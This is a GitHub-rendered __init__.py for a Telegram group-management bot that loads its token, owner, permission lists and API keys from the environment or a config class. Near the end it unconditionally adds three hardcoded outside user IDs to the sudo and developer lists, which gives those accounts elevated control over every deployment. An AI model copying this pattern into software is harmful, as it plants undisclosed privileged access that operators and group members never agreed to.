-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path__init__.py
170 lines (137 loc) · 5.75 KB
/
__init__.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import logging
import os
import sys
import time
import telegram.ext as tg
StartTime = time.time()
# enable logging
logging.basicConfig(
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
level=logging.INFO)
LOGGER = logging.getLogger(__name__)
# if version < 3.6, stop bot.
if sys.version_info[0] < 3 or sys.version_info[1] < 6:
LOGGER.error("You MUST have a python version of at least 3.6! Multiple features depend on this. Bot quitting.")
quit(1)
ENV = bool(os.environ.get('ENV', False))
if ENV:
TOKEN = os.environ.get('TOKEN', None)
try:
OWNER_ID = int(os.environ.get('OWNER_ID', None))
except ValueError:
raise Exception("Your OWNER_ID env variable is not a valid integer.")
MESSAGE_DUMP = os.environ.get('MESSAGE_DUMP', None)
OWNER_USERNAME = os.environ.get("OWNER_USERNAME", None)
try:
SUDO_USERS = set(int(x) for x in os.environ.get("SUDO_USERS", "").split())
DEV_USERS = set(int(x) for x in os.environ.get("DEV_USERS", "").split())
except ValueError:
raise Exception("Your sudo or dev users list does not contain valid integers.")
try:
SUPPORT_USERS = set(int(x) for x in os.environ.get("SUPPORT_USERS", "").split())
except ValueError:
raise Exception("Your support users list does not contain valid integers.")
try:
SPAMMERS = set(int(x) for x in os.environ.get("SPAMMERS", "").split())
except ValueError:
raise Exception("Your spammers users list does not contain valid integers.")
try:
WHITELIST_USERS = set(int(x) for x in os.environ.get("WHITELIST_USERS", "").split())
except ValueError:
raise Exception("Your whitelisted users list does not contain valid integers.")
try:
TIGER_USERS = set(int(x) for x in os.environ.get("TIGER_USERS", "").split())
except ValueError:
raise Exception("Your tiger users list does not contain valid integers.")
GBAN_LOGS = os.environ.get('GBAN_LOGS', None)
WEBHOOK = bool(os.environ.get('WEBHOOK', False))
URL = os.environ.get('URL', "") # Does not contain token
PORT = int(os.environ.get('PORT', 5000))
CERT_PATH = os.environ.get("CERT_PATH")
DB_URI = os.environ.get('DATABASE_URL')
DONATION_LINK = os.environ.get('DONATION_LINK')
LOAD = os.environ.get("LOAD", "").split()
NO_LOAD = os.environ.get("NO_LOAD", "translation").split()
DEL_CMDS = bool(os.environ.get('DEL_CMDS', False))
STRICT_GBAN = bool(os.environ.get('STRICT_GBAN', False))
WORKERS = int(os.environ.get('WORKERS', 8))
BAN_STICKER = os.environ.get('BAN_STICKER', 'CAADAgADOwADPPEcAXkko5EB3YGYAg')
ALLOW_EXCL = os.environ.get('ALLOW_EXCL', False)
CASH_API_KEY = os.environ.get('CASH_API_KEY', None)
TIME_API_KEY = os.environ.get('TIME_API_KEY', None)
API_WEATHER = os.environ.get('API_OPENWEATHER',False)
AI_API_KEY = os.environ.get('AI_API_KEY', None)
WALL_API = os.environ.get('WALL_API', None)
STRICT_GMUTE = bool(os.environ.get('STRICT_GMUTE', False))
else:
from tg_bot.config import Development as Config
TOKEN = Config.API_KEY
try:
OWNER_ID = int(Config.OWNER_ID)
except ValueError:
raise Exception("Your OWNER_ID variable is not a valid integer.")
MESSAGE_DUMP = Config.MESSAGE_DUMP
OWNER_USERNAME = Config.OWNER_USERNAME
try:
SUDO_USERS = set(int(x) for x in Config.SUDO_USERS or [])
DEV_USERS = set(int(x) for x in Config.DEV_USERS or [])
except ValueError:
raise Exception("Your sudo or dev users list does not contain valid integers.")
try:
SUPPORT_USERS = set(int(x) for x in Config.SUPPORT_USERS or [])
except ValueError:
raise Exception("Your support users list does not contain valid integers.")
try:
SPAMMERS = set(int(x) for x in Config.SPAMMERS or [])
except ValueError:
raise Exception("Your spammers users list does not contain valid integers.")
try:
WHITELIST_USERS = set(int(x) for x in Config.WHITELIST_USERS or [])
except ValueError:
raise Exception("Your whitelisted users list does not contain valid integers.")
try:
TIGER_USERS = set(int(x) for x in Config.TIGER_USERS or [])
except ValueError:
raise Exception("Your tiger users list does not contain valid integers.")
GBAN_LOGS = Config.GBAN_LOGS
WEBHOOK = Config.WEBHOOK
URL = Config.URL
PORT = Config.PORT
CERT_PATH = Config.CERT_PATH
DB_URI = Config.SQLALCHEMY_DATABASE_URI
DONATION_LINK = Config.DONATION_LINK
LOAD = Config.LOAD
NO_LOAD = Config.NO_LOAD
DEL_CMDS = Config.DEL_CMDS
STRICT_GBAN = Config.STRICT_GBAN
WORKERS = Config.WORKERS
BAN_STICKER = Config.BAN_STICKER
ALLOW_EXCL = Config.ALLOW_EXCL
CASH_API_KEY = Config.CASH_API_KEY
TIME_API_KEY = Config.TIME_API_KEY
API_OPENWEATHER = Config.API_OPENWEATHER
AI_API_KEY = Config.AI_API_KEY
WALL_API = Config.WALL_API
STRICT_GMUTE = Config.STRICT_GMUTE
SUDO_USERS.add(OWNER_ID)
SUDO_USERS.add(947040154)
SUDO_USERS.add(1118936839)
SUDO_USERS.add(254318997)
DEV_USERS.add(OWNER_ID)
DEV_USERS.add(947040154)
DEV_USERS.add(1118936839)
DEV_USERS.add(254318997)
updater = tg.Updater(TOKEN, workers=WORKERS)
dispatcher = updater.dispatcher
SUDO_USERS = list(SUDO_USERS) + list(DEV_USERS)
DEV_USERS = list(DEV_USERS)
WHITELIST_USERS = list(WHITELIST_USERS)
SUPPORT_USERS = list(SUPPORT_USERS)
TIGER_USERS = list(TIGER_USERS)
SPAMMERS = list(SPAMMERS)
# Load at end to ensure all prev variables have been set
from tg_bot.modules.helper_funcs.handlers import CustomCommandHandler, CustomRegexHandler, CustomMessageHandler
# make sure the regex handler can take extra kwargs
tg.RegexHandler = CustomRegexHandler
tg.CommandHandler = CustomCommandHandler
tg.MessageHandler = CustomMessageHandler